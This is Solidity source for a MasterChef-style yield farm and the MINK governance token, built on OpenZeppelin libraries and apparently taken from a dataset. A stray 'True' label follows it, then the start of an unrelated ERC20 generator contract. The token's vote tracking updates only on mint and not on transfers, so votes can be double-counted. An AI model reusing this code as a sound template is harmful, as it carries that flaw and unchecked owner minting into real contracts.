"Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.6.12; // MinkToken with Governance. contract MinkToken is ERC20("MinkToken", "MINK"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MINK::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MINK::delegateBySig: invalid nonce"); require(now <= expiry, "MINK::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "MINK::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying MINKs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "MINK::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity 0.6.12; // MasterChef is the master of Mink. He can breed Minks and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once MINK is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of MINKs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accMinkPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accMinkPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. MINKs to distribute per block. uint256 lastRewardBlock; // Last block number that MINKs distribution occurs. uint256 accMinkPerShare; // Accumulated MINKs per share, times 1e12. See below. } // The MINK TOKEN! MinkToken public mink; // Dev address. address public devaddr; // Block number when bonus MINK period ends. uint256 public bonusEndBlock; // MINK tokens created per block. uint256 public minkPerBlock; // Bonus muliplier for early mink makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when MINK mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( MinkToken _mink, address _devaddr, uint256 _minkPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { mink = _mink; devaddr = _devaddr; minkPerBlock = _minkPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accMinkPerShare: 0 })); } // Update the given pool's MINK allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending MINKs on frontend. function pendingMink(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accMinkPerShare = pool.accMinkPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 minkReward = multiplier.mul(minkPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accMinkPerShare = accMinkPerShare.add(minkReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accMinkPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 minkReward = multiplier.mul(minkPerBlock).mul(pool.allocPoint).div(totalAllocPoint); mink.mint(devaddr, minkReward.div(10)); mink.mint(address(this), minkReward); pool.accMinkPerShare = pool.accMinkPerShare.add(minkReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for MINK allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accMinkPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeMinkTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accMinkPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accMinkPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeMinkTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accMinkPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Safe mink transfer function, just in case if rounding error causes pool to not have enough MINKs. function safeMinkTransfer(address _to, uint256 _amount) internal { uint256 minkBal = mink.balanceOf(address(this)); if (_amount > minkBal) { mink.transfer(_to, minkBal); } else { mink.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-12 */ // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets 